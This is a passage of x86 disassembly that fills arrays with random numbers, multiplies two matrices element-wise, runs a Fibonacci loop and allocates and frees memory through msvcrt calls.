add dword [ebp - 0x88], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x2a0
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
fld qword [0x5761a0]
fdivp st(1)
fstp qword [esp]
call fcn.0056e770
fstp qword [ebp - 0xbb88]
cmp dword [ebp - 0x88], 0x12
jle 0x40266d
mov dword [ebp - 0x8c], 0xf0
jmp 0x4026bd
sub dword [ebp - 0x8c], 1
cmp dword [ebp - 0x8c], 0x52
jg 0x4026b6
mov dword [esp], 0x528
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb8c], eax
mov dword [esp], 0x528
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb90], eax
mov dword [esp], 0x528
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb94], eax
mov dword [ebp - 0x90], 0
jmp 0x4027cd
mov dword [ebp - 0x94], 0
jmp 0x4027b9
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x3e8
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x90]
imul ecx, edx, 0x58
mov edx, dword [ebp - 0xbb8c]
add edx, ecx
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
mov eax, dword [ebp - 0x94]
fstp dword [edx + eax*4]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x10624dd3
mov eax, ecx
imul edx
mov eax, edx
sar eax, 6
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x3e8
mov eax, ecx
sub eax, edx
mov edx, dword [ebp - 0x90]
imul ecx, edx, 0x58
mov edx, dword [ebp - 0xbb90]
add edx, ecx
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
mov eax, dword [ebp - 0x94]
fstp dword [edx + eax*4]
add dword [ebp - 0x94], 1
cmp dword [ebp - 0x94], 0x15
jle 0x40271a
add dword [ebp - 0x90], 1
cmp dword [ebp - 0x90], 0xe
jle 0x40270b
mov dword [ebp - 0x90], 0
jmp 0x402859
mov dword [ebp - 0x94], 0
jmp 0x402849
mov eax, dword [ebp - 0x90]
imul edx, eax, 0x58
mov eax, dword [ebp - 0xbb8c]
add edx, eax
mov eax, dword [ebp - 0x94]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x90]
imul edx, eax, 0x58
mov eax, dword [ebp - 0xbb90]
add edx, eax
mov eax, dword [ebp - 0x94]
fld dword [edx + eax*4]
mov eax, dword [ebp - 0x90]
imul edx, eax, 0x58
mov eax, dword [ebp - 0xbb94]
add edx, eax
fmulp st(1)
mov eax, dword [ebp - 0x94]
fstp dword [edx + eax*4]
add dword [ebp - 0x94], 1
cmp dword [ebp - 0x94], 0x15
jle 0x4027f2
add dword [ebp - 0x90], 1
cmp dword [ebp - 0x90], 0xe
jle 0x4027e6
mov eax, dword [ebp - 0xbb8c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xbb90]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, dword [ebp - 0xbb94]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x9c], 1
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0xbb98], 0x234
jmp 0x4028e9
mov edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x9c]
add eax, edx
mov dword [ebp - 0x17c50], eax
add dword [ebp - 0xa0], 1
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x17c50]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0xbb98]
jl 0x4028b6
mov dword [esp], 0x238
call sub.msvcrt.dll_malloc
mov dword [ebp - 0xbb9c], eax
mov dword [ebp - 0xa4], 0
jmp 0x40294c
call sub.msvcrt.dll_rand
mov dword [ebp - 0x17e48], eax
fild dword [ebp - 0x17e48]
mov eax, dword [ebp - 0xa4]
lea edx, [eax*8]
mov eax, dword [ebp - 0xbb9c]
add eax, edx
fld qword [0x5761a0]
fdivp st(1)
fstp qword [eax]
add dword [ebp - 0xa4], 1
cmp dword [ebp - 0xa4], 0x46
jle 0x402915
mov dword [ebp - 0xa4], 0
jmp 0x40299f